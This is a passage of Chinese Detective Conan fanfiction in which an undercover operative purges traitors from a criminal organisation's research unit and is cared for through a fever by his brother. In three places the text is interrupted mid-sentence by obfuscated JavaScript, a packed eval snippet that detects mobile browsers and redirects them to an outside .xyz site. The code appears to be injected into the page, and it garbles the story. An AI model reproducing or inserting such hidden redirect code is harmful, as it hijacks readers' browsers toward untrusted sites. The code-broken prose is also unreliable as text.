内心里关于青年的形象刚刚整合好,又被她亲自敲出一条裂隙。 “夏特勒兹是那位先生最忠诚的刀。”你知道你在说什么吗? 她震惊得喃喃摇头,心里却忍不住升起一丝希冀。 “[夏特勒兹忠于那位先生,但我不会忘记我来自何方。]” ……哈。 ……哈! 宫野志保几乎要大笑出声,短时间内的大悲大喜让她的精力条快速耗尽。 竟然是这样……! 她抬眼,不属于这个年纪的沉重与疲惫蕴藏于其中,沉默地围绕在眼球上青年的倒影周身。 “……会有那一天吗?” “[黎明总是最冷的时候。]”但黎明过后的旭日晨曦温暖无比。“[我们也不是孤身一人。]” “[总有一天我能够用真名重新和你认识。]”他伸出手,“[那么志保,]” “[感谢信任,从此以后我们就是共犯了。]” 还有五年。 只要撑到柯学元年,他在乌鸦巢里埋下的□□就能引爆,将那恶心的阴沟老鼠拉到阳光下暴晒七七四十九天做成海●酱油。(? * 夏特勒兹离开得很匆忙,连为防止叛徒暴露而实验基地搬迁的事都没有管就订票飞回了日本。 不为别的,就为他审讯河原健三的那个不可抗力因素。 “哈哈……咳咳,就算你杀了我也无济于事。”河原健三咳出一口血,疼痛让他不禁蜷缩在地。 “你们这些年做了多少恶行,就连我一个在实验室封闭几年的家伙都知道不少——更何况你们让我们做的这些研究……” “[‘我们’?]” 诸伏清浅眉头一皱。他对人类语言里蕴含的信息极为敏感,他总觉得对方的话另有所指,一股不妙的预感在他心里蒸腾而出。 来不及多想,他将自己完全转换为夏特勒兹模式。 “[可以来详细聊聊你说的那个‘我们’吗?]” 河原健三不说话了,咬紧牙关不吭一声。 诸伏清浅的直觉则开始频繁闪灯,内心慢慢下沉。 “[或许你不知道,组织里反审讯成绩最好的人是我。]”电子音一字一词慢慢念出,“[这意味着我的审讯也差不到哪里去。]” 短刀刺入□□,带出对方咬紧牙关也抑制不住的闷哼。 “[这只是个开始。]”而我总有办法让你开口。 * ……不妙。 不妙不妙不妙。 大不妙。 从河原健三嘴里挖出的情报让诸伏清浅黑布下的猫眼睁大。 事件过于迫切严重,他已经没有精力在和宫野志保装谜语人掰扯什么了,也不管十三岁的小女孩能不能理解,直接自爆一波,趁人懵着强行把人划拉进自己的阵营就算——可惜,明明他还想和志保好好多相处一段时间来着。 尽量用简洁且恭·敬的言辞快速给那位先生发了封紧急邮件,诸伏清浅几乎是狼狈地上了飞回日本的飞机。 ——不满于乌鸦的可不止我一个。 ——这只是个开始。 27.社畜加班 科研组集体反叛。 这个消息无疑让那位先生震怒,来不及等夏特勒兹下飞机就紧急召见琴酒贝尔摩德等人。 ——以至于诸伏清浅一下飞机,手机叮叮当当的就塞满了一连串任务和命令。 ……我恨加班。 清浅吸了吸鼻子,忽略系统面板上【轻度感冒】的提示匆匆上了机场的出租车——没办法,走得太急,他只能把井上一郎留在美国收尾,坐出租车被宰就被宰吧。 即使夏特勒兹及时发现不对预警报告,但一直安逸的科研组突然动乱,着实打了所有人一个措手不及。 再加上科研组作为组织的核心,根本不是什么小卡拉米就能接触的东西,有权利接触的组织成员不过琴酒、朗姆、贝尔摩德、皮斯科、夏特勒兹五个人。 事多人又少,作为那位先生的刀,劳模琴酒和社畜夏特勒兹为了效率再次搭档合作。 调查、回收、灭口、收尾,一个一个基地检查清理过去都不带停的。每次进出基地,一身几乎固定在身上的血腥味都让其他成员惊疑地避让三分。 ——只是苦了开车的伏特加,每天睡眠时长被压榨得几近为零。开车,停车,在车上等那两位杀神进基地又出基地,闭眼不到一个钟又被一身血腥的大哥命令前往下一个基地。 “伏特加,下一个去埼玉县。” “啊…啊,是!” 诸伏清浅坐在保时捷的后座,将刀片擦干净藏回衣袖里,暗自长舒一口气。 ……这应该是最后一个了。 巴罗洛(Barolo),一位罕见的拥有代号的科研组成员,某种意义上算得上是组织的老人,甚至面见过几次BOSS。 埼玉县的实验基地内,清浅和琴酒终于见到了对方——以处理叛徒的执行者的身份。 杀倒是不急着杀,至少要把人审一审,看看对方背后还有没有搞什么幺蛾子。 “[说实话我没想到最先出问题的是科研组。]”将巴罗洛交给底层人员转移,诸伏清浅与琴酒并肩走在基地的走廊上。“[我还以为最先遭殃的会是训练营呢。]” 琴酒墨绿色的瞳孔轻转,扫了眼他。 “[不用这么看着我,我不信你对那个地方一点怨言都没有、一点动作也没干。]”光是他能查到的那一批当年负责琴酒的教官,无一不死得透透的。 ——这就很能说明什么了。 “呵。”银发男人嗤笑一声。 在训练营接受非人训练与忠诚于BOSS是两回事。正因为他们同样出自于训练营,所以一些东西他们也默契地隐而不宣。 比如琴酒悄悄处理掉了当年的教官,再比如夏特勒兹将教官弄得半残,以至于他们只能屈辱地在世界上苟延残喘。 “管好你自己,夏特勒兹。”他警告道,“不该说的不要说。” “[我当然能管好自己,我可是哑巴。]”夏特勒兹耸肩,“[这里每人偷听。]” 琴酒无语,决定不再鸟他。 * 砰。 苏格兰将视线从瞄准镜挪开,看了眼分数觉得还不错,于是收拾好狙击枪离开靶场,回到基地的休息室打算喝一杯。 组织最近的气氛很紧张。大家似乎都不太了解发生了什么事,但还是警惕地没再四处蹦跶,实在无聊了就窝在组织基地里训练或者聊天喝酒。 “哦!苏格兰,你训练完了?”基安蒂见着胡茬青年回来,眼睛一亮朝对方招招手。“莱伊呢?” “他还要再练一会儿,我们打算待会儿练一下近战,切磋一下——你们这是在干嘛?” 今天大家应该都挺无聊,休息室内罕见地聚集了好几位眼熟的同僚。 基安蒂,科恩,卡尔瓦多斯,爱尔兰,罗马纳,甚至情报组的波本也来凑热闹。 “啊……伏特加你回来了啊。”苏格兰发现了一位最近难得一见的家伙,微微挑眉。“你最近都在和琴酒出任务?” 自从夏特勒兹出任务把他丢给琴酒后,他就时常与莱伊一起搭档处理对方下达的任务。只是最近几天琴酒突然将所有任务一股脑下发,自己带着伏特加紧匆匆走了——或许是有更加紧急重要的任务?反正他一个刚获得代号没多久的人没资格了解。 “不止大哥,还有夏特勒兹。”伏特加郁闷地将杯里剩下的酒液一饮而尽,罗马纳贴心地又给他倒满一杯。 苏格兰:? “夏特勒兹?” “是啊,科研组那边好像发生了大规模反叛事件,大哥和夏特勒兹这几天一直在处理——”他顿了顿,“连轴转,我这几天平均每天睡眠时间都不超过三个钟,现在还清醒着纯靠意志在坚持——我感觉我现在就能表演个一秒昏迷。” 啊…信息量有点大。 诸伏景光艰难捋着信息,莱伊这时也插兜进来。 “在聊什么?” “在聊伏特加这几天是如何被琴酒和夏特勒兹压榨的。”基安蒂一句话总结小弟伏特加的大吐苦水,接着一拍大腿,语气中充满兴趣。“听说你要和苏格兰打架?” 总感觉自己错过了什么的莱伊内心问号,但还是回应:“对。” “不用再休息一下吗?你才刚练完狙击吧。” “保持手感而已,问题不大。” 好吧。知晓莱伊狙击实力的苏格兰耸耸肩,跟着对方去了训练场——带着后面一群明显是来凑热闹的吃瓜群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15926860|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众一起。 伏特加?伏特加终于撑不住,倒在休息室的沙发上与周公下棋去了。 * 咔哒。 审讯室的大门打开,身上又添一层血腥味的夏特勒兹走出,同时在一旁的审讯观察室也打开门,琴酒同样走出。 挥挥手让其他负责审讯的人收拾残局,两位top killer一同前往一间布满摄像头的房间。针扎似的视线让二位不由自主地绷紧身子,但又很快强迫自己放松下来。 房间里只有一台电脑,但琴酒和夏特勒兹丝毫不敢松懈,站定后朝电脑躬身。 “BOSS。”×2 审讯的结果出乎意料,常年窝在实验室的巴罗洛本来就是个体力废,根本撑不过擅长审讯的夏特勒兹的折磨,很快就吐出自己所有的情报。 ——巴罗洛的反叛行为皆出于自愿,他的背后并没有任何官方或其他势力的踪迹。 “[……虽然我并不认为巴罗洛能够在审讯下撒谎,但既然他有能够煽动他人反叛,那我们更需要对科研组加以排查——以及我们需要调查他行动中的后手。]” BOSS听完夏特勒兹的电子音报告,沉默半晌同样用变声器的电子音回答:“[组织发生了这种事,辛苦你们了。 我会让贝尔摩德负责排查科研组的情况,琴酒就负责新的实验室相关事宜。]” 琴酒低头:“是。” “[夏特勒兹负责继续追查巴罗洛,务必将他的底全部挖出来。]” 夏特勒兹同样低头:“[谨遵您的命令,BOSS。]” “[首要目的是封/锁/消/息。]”电脑就此息屏,但在场的两人都明白BOSS的言下之意。 绝对不能将组织的存在暴露出去。 呼—— 诸伏清浅离开那个房间,感觉自己就像一尾快要在岸上渴死的鱼重新回到水里,紧绷的神经微微松懈,于是成吨的困倦趁虚而入。 他打了个哈欠。 密码的,他喜欢COS但这不代表他要天天COS,每次在老乌鸦面前扮成没有感情的工作机器人,被人盯着微动作微表情的情况下他什么也不敢想,脑子必须一键清屏——阿巴阿巴的他真的快吐了。 “[这下行了,各回各家各找各妈,我是真受不住你的那个阴间作息。]” 琴酒没有理他,翻出手机打电话,却发现对面无人接听。 “伏特加在干什么。”他皱眉。 “[你问我?撑不住睡了吧,大概在……休息室?]”清浅悄悄调出系统定位,看着在训练场扎堆的黑色与绿色交错定位陷入沉默。 伏特加……伏特加的定位确实在休息室没错。 28.加班结束 砰!啪! 莱伊率先发动攻击,一记直拳挥向对方。苏格兰眼神冷静,身形微侧,轻易地躲过了莱伊的攻击,借着对方的势贴身而上拉近距离,一拳轰出。 琴酒放着伏特加在休息室睡觉,在夏特勒兹察觉训练场有不少人后与他一同过去,一打开门就看见两人在下面斗殴,一群人在高台上看得起劲。 “呀,真是稀客呀,琴酒。”波本见到来人有些惊讶,见到银发男人身旁的人后顿了顿。“还有夏特勒兹……你们的任务忙完了吗?” “哇,你们两个干什么去了,一身血味。”基安蒂的吐槽更加直白。 啊。 诸伏清浅脚步一顿,抬手一摸侧脸,果然摸到了干涸的血迹。 所以说他一路来都是一副血呼啦擦的样子吗?!琴酒竟然不提醒他! 完全没有同事爱啊! “BOSS下达的任务,不能带人,收起你的好奇心。”琴酒不冷不热地刺了一句,算是回答了基安蒂。 “[审了个人,太忙了都忘了。话说你们聚在这里在做什么?]” 其实现场已经很明显了,苏格兰和莱伊打架,全员吃瓜罢了。 “不过没想到苏格兰的身手也这么好啊。”卡尔瓦多斯不由得多看几眼。 苏格兰不是行动组的人,又是狙击手,能看他近战打架的机会少之又少。 莱伊则不同,因为他身上和琴酒过于相似的气质以及气人的高超本领,他和琴酒打过不止一架。 琴酒身为组织的top killer,他的武力摆在那儿,能和他打得不分上下的莱伊就显得格外…显眼?众人都纷纷猜测莱伊会不会成为第二…第三个top killer。 苏格兰和莱伊打架,能在莱伊手下撑这么久实在出乎所有人的预料——苏格兰的实力显然在莱伊之下,但打斗中很明显能看出莱伊短时间内拿不下苏格兰。 琴酒扫了一眼,看见苏格兰的招式后挑眉。“你在用训练营的标准训练苏格兰?” “[……我又教不了他狙击,只能在其他方面对他下手,总不可能让他当我的生活助理吧?]”那也太大材小用了。 “[话说你这就能看出来了?我教他的时间并不长。]” 此时下面的两人也停下,切磋而已,点到即止,不一会儿便双双回到高台。 啊,琴酒和夏特勒兹? “太明显了,你那种恶心的风格。” 恶,恶心?! 诸伏清浅一顿,双手捧着手机不可思议地侧头看着琴酒。“[……excuse me?我没记错的话我们上的是同样的训练课程吧?]” “怎么,”琴酒侧目,“你想打?” 苏格兰默默举手:“那个……” “[都熬了好几天了你不回去休息你打什么架,小心猝死。]”诸伏清浅不屑哼笑,“[要打的话我绝对会薅你头发。]” 长头发打架不被薅还打什么架,虽然他也是长发但他嫉妒琴酒的长发也不是一天两天了。 ——他到底是怎么保养头发的? 其余众人不语,只是一味看戏。 “其实我刚刚就想问了……”苏格兰问道,“刚刚发生了什么?” 哦豁,这里还有俩不知道发生啥的。 “一句话总结,琴酒嫌弃你的招式太恶心,又因为你的近战是夏特勒兹教的,所以夏特勒兹不服气。”基安蒂兴奋总结。 哦——总感觉有哪里不对。 “我的招式,很恶心?” “不,那应该只是琴酒的个人原因。”波本这一波站夏特勒兹,将错归到琴酒头上。 没品的家伙,我幼驯染哪里不好了,能揍莱伊的招式都是好招式! 莱伊,莱伊总感觉后背凉飕飕的:“不过苏格兰的招式确实难缠。” 岂止是难缠,那完全是不按套路出牌了好吧。不止难以摆脱,而且进攻角度刁钻,让人防不胜防。 “什么啊,不打吗。”见两人都没有动手的意思,卡尔瓦多斯有些失望。 “[打个屁,打到一半我能直接躺地上睡过去。]”诸伏清浅忍不住打了个哈欠。 琴酒:“你那叫晕厥,你到底有没有自己在发烧的自觉?” ……啊? 发烧?诸伏清浅愣了会儿,系统面板也适时跳出来。 【身体状态:重感冒,实时体温39.1℃,请即使降温并就医。(点击重新自检)】 ……难怪这几天他总觉得很容易累。 “[老子带病陪你熬夜做任务你还不乐意了,]”诸伏清浅理不直气也壮,黑布下翻了个看不见的白眼。“[又死不了,我命硬的很。]” 琴酒:……呵。 “组织的医院不是摆设。” “[你知道我不会去那种地方。]” “随你,”压着怒气,琴酒冷笑一声转身就走。“苏格兰,你负责把这个身体素质烂而不自知的家伙带回去。” 苏格兰(指着自己):啊……我吗? 怎么说呢,被琴酒和夏特勒兹未完成的切磋吊着胃口,本来蛮尽兴的莱苏切磋也变得兴致缺缺。 基安蒂招呼众人回去喝酒,波本一个情报组的本来打算恬不知耻地留下来与其他人联络感情,但聊了几句又不自觉地和莱伊阴阳怪气地吵起架来,遂想方设法将人膈应走。 伏特加已经被自家大哥提走,夏特勒兹则是打着哈欠跟在苏格兰身后,往基地的停车处走。 “[到安全屋把我放下就行。]”坐进苏格兰的大众高尔夫后诸伏清浅打了个哈欠,报了一串地址给对方,无机质的电子音都遮掩不住他的疲惫。 “……琴酒说您在发烧。” “[这种事情吃两片退烧药睡一觉就好了,没什么大碍。]” “可我大部分时间都见您的身体不太好——是一直都这样吗?” “[大概吧,反正自我记事起我就这样……]”了。 啊。 睡着了。 许久没听见下文,诸伏景光抬眼看向后视镜。蒙眼青年乖巧地缩在座椅里,双手捧着手机放在大腿上,脑袋因为睡着而微微侧着,整个人显得安静又无害。 几次相处下来诸伏景光已经掌握和对方聊天的模式。空闲状态下的夏特勒兹其实很健谈,手机打字敲的飞起的那种健谈,虽说不了话但意外的爽快。一些不能告诉的东西他会明确表明,能说的你问他就说。 如果放在平常来看,夏特勒兹真的是一个随和好相处的好上司。 可惜,没有如果。 * 下坠。 永无止境的下坠。 事实上下坠是很常见的梦境素材,诸伏清浅任由气流从耳边呼啸而过,将他的发丝吹乱,感受着重力加速度给他带来的愈发快速的速度,天上的天光因为他的下坠逐渐被黑暗吞噬不见。 噗通。 他像饺子下水一样掉进了大海里。 黑暗的视野被血红填满,粘稠的液体堵住口鼻,阻止着他氧气的摄入。 这…真的是海水而非非牛顿流体吗? 诸伏清浅尝试动了动,可在海里的四肢仿佛被灌了铅一样,动不了一点。忽然,一抹黑雾朝他游来,它先是绕着诸伏清浅游了一圈,然后突然咧开姑且算是嘴的东西,让在粘稠的海里的清浅听清了对方的尖啸。 去死…! 求求你,杀了我吧…… 不要…不要! 啊啊啊啊! ……太熟悉了,这个声音。 缺氧的感觉非常不好受,诸伏清浅的思维已经不受控制地变得迟钝、模糊,但他还是艰难地撑起眼皮,看清了那个缠着他的黑色魂灵。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15938372|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> ……巴罗洛。 对了,就在一个多小时前,他才解放了被滴水刑折磨了快24小时的巴罗洛,在他仍保持沉默的态度下诸伏清浅换了种方式,于是巴罗洛在挑筋去指、插针的极端痛楚、审讯室循环播放的审讯电子音中,喃喃之下回应了电子音所询问的问题。 榨干价值的人到头来只剩一个“死”字,按理来说清浅不应对此有实感,但海里黑雾的扭曲尖啸让他仿佛重回审讯室,亲自承受了一遍对方体验到的刑罚一般。 这个场景还是头一次见,潜意识新构造的吗?和内心世界倒是有些不同……他会死在这里吗? 情绪仿佛全部被抽离,诸伏清浅慢慢滑动手臂尝试上浮,蹬腿的时候却察觉一股无法甩脱的阻力。 他低下头,与一缕咧开嘴笑的黑雾对上视线。 ……也和海底下一大团翻滚的黑雾对上视线。 有这么一瞬间,“果然这里不止一个魂灵啊”的意满离吐槽在脑海闪现。 会死的吧。 不,不会,这里只是幻境罢了。 可你在害怕这里,不是吗? 因为发烧了吧…所以情绪容易失控,要是平常我还能和它们唠上两句呢。 分散注意力对缓解焦虑的效果不太理想,黑雾一缕连着一缕,形成锁链捆住他的四肢慢慢往深处拽。理智让他放弃无谓的挣扎,任由黑雾将他拽入深渊。 真差劲啊…死在这里。 他一边嘲笑自己,一边玩笑性地朝海面伸出手——然而海面也是一片昏暗。 越是死到临头,他的思想越是在边缘滑行。 “……” 就算自己死在幻境里,也没什么大问题。 “ki…a…” 不过是死一次罢了。 “kiyoshiasa……” 你看,根本就没人救…… “清浅!” 哗啦! 手腕突然被抓住,强烈的拉力让黑雾锁链断裂,粘稠的液体再也留不住这具躯壳,重获氧气的感觉让清浅忍不住呛咳起来。 * 车子开得很平稳,直到抵达位于杯户町的安全屋前,诸伏景光重新从后视镜观察后座上的上司。 “夏特勒兹?我们到了。” …… 无人应答。 “夏特勒兹?醒醒,我们到了。” 诸伏景光皱眉,不太确定地再喊了一句。心里总有种不妙的预感,他解开安全带下车,打开后座车门。 缠目的黑缎遮住了青年大半的神情,但急促且浅的呼吸昭示着主人并不良好的状态。 ……烧得昏过去了? 诸伏景光思虑再三。苏格兰的人设是一个温温和和的老实人,那么关心上司什么的也是很正常的吧。 他尝试用手背贴一下夏特勒兹的额头探一探温度,结果还没探到就被对方下意识应激抓住了手腕。 诸伏景光被他的动作吓到,但同时也被从手腕处传来的、对方的体温感到心惊。 好烫。 清浅呛咳着,剧烈的呼吸难以平复,明明自顾不暇却仍敏锐地察觉到救他之人准备离开的动作,惊得他连忙抓住对方的手腕。 等等,别走…! 粘稠的海水冰冷刺骨,然而被他攥住手腕的青年体温炙热,温暖的温度从两人手腕抓握处源源不断地传来。 清浅努力睁大双眼,试图用模糊的视线看清自己的救命恩人。 于是雾蒙蒙的雾蓝猫眼与一双极为相似的湛蓝猫眼对上。 猫眼青年温和地笑着,纵容着弟弟的挽留。 “景光……” 诸伏清浅在黑暗的血海中看见了不可能存在的光明。 苏格兰听见应激醒来却不甚清醒的夏特勒兹低喃一句气音。 “尼…桑…?” 29.生病 卧槽,被上司叫哥了。 高烧状态下神志不甚清醒,确实容易卸下心防依赖潜意识行动。 所以夏特勒兹是把他误以为是哥哥了吗? 夏特勒兹有家人……这倒是一个有用的情报。 苏格兰假装没听见这句话,贴心地喊出上司的代号让他认清现实。 “夏特勒兹?我们到了。” 诸伏清浅闻言将信息送入因高热而运转缓慢的大脑,半晌才将信息处理完毕,慢吞吞地松开攥住的手腕,改而用力摁了摁太阳穴,试图让自己清醒一点。 啊……没有海,没有窒息,没有下坠,也没有诸伏景光。 只有浑身的血腥味,仍在高热的躯壳,以及戴着假面的苏格兰。 诸伏清浅清醒得差不多,因此他已经知道刚才自己干了什么蠢事——他当着苏格兰的面喊出了声“尼桑”,给这位来自日本公安的卧底搜查官送了两个足以让他进一趟审讯室的破绽。 现在他要做的是打消苏格兰的好奇心,防止这条情报流出。 ……可他突然觉得很累,不是很想再继续演下去。 因为高烧吗?因为这里是自己的安全屋吗?因为这里只有景光哥一个人吗? ……随便吧。 诸伏清浅不知道,所以他选择将这个问题丢给日后的自己抓狂,径直越过苏格兰找钥匙进安全屋。 “[……所以为什么你还跟着我。]” 诸伏景光跟着他也进了屋。 清浅有些不解,脑子转了两圈也没明白对方为什么不是把他送到后就走人。 “因为您的状况确实难以让人放心。” “[按照你的人设你现在应该非常识趣地离开这里,而非赖在这里不走。]”诸伏清浅仰头示意敞开的大门,“[还是说你要趁我精神松懈的时候多挖点情报?]” 诸伏景光没有对那句“人设”作出回应,只是笑着:“只是理所应当的关照一下上司罢了。” 诸伏清浅:…… 我靠,哥,你别搞我。 只见夏特勒兹沉默,半晌才转身去厨房冰箱里拿矿泉水。“[……随便你吧,要问就问。]” “您原来能说话的吗?抱歉,我刚才听到……” “[准确来说应该是心因性失语症,但也和哑巴没差多少就是。]”清浅自暴自弃般回答,检查了一下矿泉水的封口,确认无误后才拧开。 心因性失语症。 诸伏景光内心一怔,这症状他可太熟悉了。 “没想过治疗吗?我记得心因性的话是可以痊愈的。” “[自我有记忆起就这样了,反正也影响不大,放着不管我不也能照样按着你打——更何况组织的氛围怎么看也不符合治疗心理疾病的要求吧。]” ……也是,怎么看组织都和健康美好搭不上边。 组织里多的是尔虞我诈,想要真正放松是不可能的,故而夏特勒兹的失语症迟迟找不到机会恢复。 回想起自己当年患上失语症的疗愈时光,若不是zero陪着自己,他估计还要很长时间才能恢复吧。 他识趣地没问关于那句“尼桑”的问题,毕竟一句“自我有记忆起”蕴含的信息量已经足够他琢磨一阵。 夏特勒兹失去了进组织前的记忆?或许以后能从这个方面调查出更多情报,说不定能够借此翻出夏特勒兹的真实身份。 “[好了今天的你问我答就先到这里吧,你想留下的话就留,客房归你。]” 从安全屋里翻出医药箱,确认翻出的是退烧药并且没有过期后掰出两粒吃掉,诸伏清浅摆了摆手表示告别,便把自己关进主卧。 “[不要吵我,明天中午要是我没动静的话你就直接撬门进来看我死没死。]” 原谅他,他真的太困了,再不睡觉他就可以直接去和阎王单挑了。 * 我叫诸伏景光,隶属警视厅公安部,现用假名绿川辉,代号苏格兰,目前正绝赞卧底中。 我的上司是一位盲哑青年,隶属犯罪组织的情报组,代号夏特勒兹。 ……上司是个病秧子。 因为情报组很少用的上狙击手,上司对我几乎是放养态度,有需要才会叫我的那种放养,所以大部分时间我都跟着威士忌组或者行动组活动。 基安蒂曾经还吐槽,声称我要是情报组待不下去的话干脆直接跳槽进行动组好了,反正你现在都快被公认为行动组的编外人员了。 嗯……从卧底情况上来讲确实,情报组有受朗姆赏识的幼驯染,他或许更应该去行动组补足情报空缺,但…… 从工作上来讲,行动组的任务真的是一划拉划不到头啊……比起在行动组熬夜加班到白头(并没有针对琴酒的意思),他还是更适合在夏特勒兹这里摸鱼……咳。 他是个狙击手,忙起来行动组还不是得找他上司要他? 情报这不就来了嘛。 你说这和我上司是个病秧子有什么关系? 首先,刚才对行动组任务众多的吐槽并不意味着情报组的工作就很轻松。 其次,夏特勒兹,放下你手中的电脑,吃药睡觉。 你以为我的上司贴着退烧贴坐在床上处理工作是因为热爱吗? 不,那是因为ddl快到了。 "[并不是不愿意让你接手情报处理的相关事务,而是你的定位不在这里……而且这些我也处理得过来。]" 处理得过来的意思是指你在熬夜超过72小时、高烧状态下只睡5个小时,然后爬起来敲电脑吗? “是我权限不够没有办法帮您处理文件吗?” “[不,那位先生有意向把你培养成我的行动搭档,仅此而已。]”夏特勒兹顿了顿,“[而且,虽然苏格兰你值得信任,但我在组织的定位实在很难让我把手头的权利下放……BOSS不会喜欢看到那个场面的。]” 行动组有琴酒领头,情报组有朗姆领头,两个派系对彼此的资源利益都垂涎欲滴。 而夏特勒兹作为一个在情报处理与实战上都有与两位领头人一战能力的人,则是夹在两派中间,替BOSS看顾着双方的制衡器与中转站。 BOSS不介意派系斗争,但为了防止翻车反噬自己,他总得放枚棋子看着两边。作为BOSS干预派系斗争的刀,夏特勒兹自然不能,也不适合发展自己的派系。 也就是说,那位先生…也就是BOSS指定了我的定位,作为狙击手、补全夏特勒兹远程短板的定位。 我叹气,因为这意味着我真的与情报工作无缘,能够获取的组织情报真的有限。 “那看来我需要加强狙击的训练了。” “[ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15953750|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很遗憾狙击这方面我给不了任何教导,这个只能你自己想办法。不过之前琴酒跟我的吐槽……你的训练倾向确实需要更改一下。]”夏特勒兹摸摸下巴,“[那就……训练一下你的撤退和逃跑能力吧,脱身这方面我还算不错,保证你死不了。]” 好的,但您再不吃药我怕您现在就死了。 * 夏特勒兹好像无时无刻都在生病。 当然,他自己不重视是一大原因之一。 ……事情为什么会发展成这样呢? 夏特勒兹看起来并不介意苏格兰在这间安全屋里常住,或许对他来说只不过是多了个室友。 ……但你私底下原来是那种不遵医嘱的任性小孩子人设吗。 诸伏景光保持微笑,咔哒一声撬开房门,将打算熬夜处理工作的夏特勒兹当场抓获。 “[……我说我准备睡了,你信吗?]” 你看我信不信。 夏特勒兹已经高烧烧了四天了,换成普通人这个时候就应该及时就医——但夏特勒兹就是死活不肯去医院。 “[因为上次应激我把好几个医生的胳膊折了。]”对此夏特勒兹解释,“[为了医患双方的安全着想,他们把我列入了黑名单。]” 诸伏景光头疼地翻着医药箱寥寥无几的药盒,决定待会出去找家药店补货。 “[啊……这个啊,因为就算治好了也很容易再生病,所以干脆就不治,死不了就行。]” “[毕竟四岁那年的高烧烧没了好多东西,身体素质也被烧成雪糕上的巧克力脆皮了。]” 好不容易将烧退了,刚好夏特勒兹又查到一点关于巴罗洛的后手的蛛丝马迹,在诸伏景光确认他的体温没什么问题后,夏特勒兹就收拾包袱带着诸伏景光上了飞机。 ……然后下了飞机又感冒了。 仿佛感受到对方眼神里的一言难尽,夏特勒兹吸了吸鼻子:“[你要习惯,我身体素质就是这么烂……不对我为什么要和你解释这个。]” 但他还是给诸伏景光科普了自己“下飞机必定感冒”、“顶楼吹风必定低烧”、“换季必定中招”等的debuff,并在接下来的任务行动中生动体现什么叫做“不是生病就是在生病的路上”。 巴罗洛的后手为什么会在苏联这个问题诸伏清浅已经不想追究,他现在最需要解决的是如何逃脱苏格兰的魔掌。 这段时间他被对方管得恍恍惚惚,才惊觉自己的普通人的治疗流程有多大差别。 训练营谁管你这个啊,没死就继续练,快死就拉去实验室打一针完事儿。系统身体状态那一栏更没怎么健康过,他都快习惯性地忽视它了。 不过苏格兰是那种操心上司健康的人设吗? 诸伏清浅突然觉得以夏特勒兹的性格应该对此感到不适应,于是开始吐槽。 “那您带感冒药了吗?” “[没有。]”清浅回答得理直气壮。 “那待会去买一盒。” “[……啊?]” 买完药后被盯着吃了两片,夏特勒兹欲言又止止又言欲。“[太没边界感了,苏格兰,你今天的训练任务我会翻倍报复的。]” “您高兴就好,”苏格兰不为所动:“但您要是发烧了更麻烦。” 诸伏清浅:…… 哥你饶了我吧! 30.过渡 巴罗洛那件事涉及到老乌鸦的敏感线,并不太好做小动作,清浅能做的只能是带着诸伏景光做一些微不足道的收尾任务,对这件事有个大致印象,让他尽可能地多收集一些情报。 救人?一是难度太大,boss对科研组的注意让夏特勒兹无法在对方眼皮子底下做小动作;二是事情闹到这种地步,为保安全大部分实验基地都要撤离销毁重新选址,这样一来巴罗洛所掌握的情报就失去了意义。 巴罗洛的后手是一位情报贩子,但这位情报贩子是位狠人,在确定自己逃不了后干脆公然服毒紫砂,在天台准备狙人的苏格兰蒙了,和情报贩子谈判、尝试暗中操作的夏特勒兹也蒙了。 草!宁这是谈不拢就倒耙一把啊! 夏特勒兹转身就走,夏特勒兹狼狈撤离,夏特勒兹连滚带爬撇清关系把自己装成毫无关系的普通路人。 在确认所有事宜都处理干净后,心情特别不美妙的夏特勒兹带着苏格兰连夜飞回日本,并暗自决定这段时间绝对不会再踏足苏/联的地盘一步。 苏格兰深表赞同,因为夏特勒兹更改了他的训练方案,专门训练他的脱身速度和逃跑能力。 “[你在缴械方面很有天赋啊。]”夏特勒兹颇为稀奇地捡回脱手的短刀,“[这还是第一次有人能缴械我的刀。]” 您是哈利●特吗?Expelliarmus缴械咒这么六。 不知道为何,诸伏清浅突然有些后悔教他哥脱身的相关技巧。 这一切都是为了景光哥能够更顺利地脱离组织,景光哥应该不会用这些东西来紫砂……吧? ……娘的,好地狱。 于是这段时间诸伏景光的训练量在他好弟弟的忧虑下又翻了一倍。 * 组织并不是天天都在处理叛徒,他们是有正经工作内容的。 比如和其他势力谈合作,和其他势力黑吃黑,插手其他势力的家事,并捞一笔。 总而言之,捞钱。 比如这次的倒霉,啊不,捞钱对象是泥惨会。 泥惨会最近首领迭代,这里指的是泥惨会的首领有位逆子搞了弑父夺位那一套。 如果只是这样,组织确实管都不想管——但巧在泥惨会有一条隐蔽的军火线组织眼馋很久了。 ——于是他们和原本的首领继承人商谈后一拍即合:组织帮他夺回首领的位置,他把军火线共享给组织。 如何夺回首领的位置? 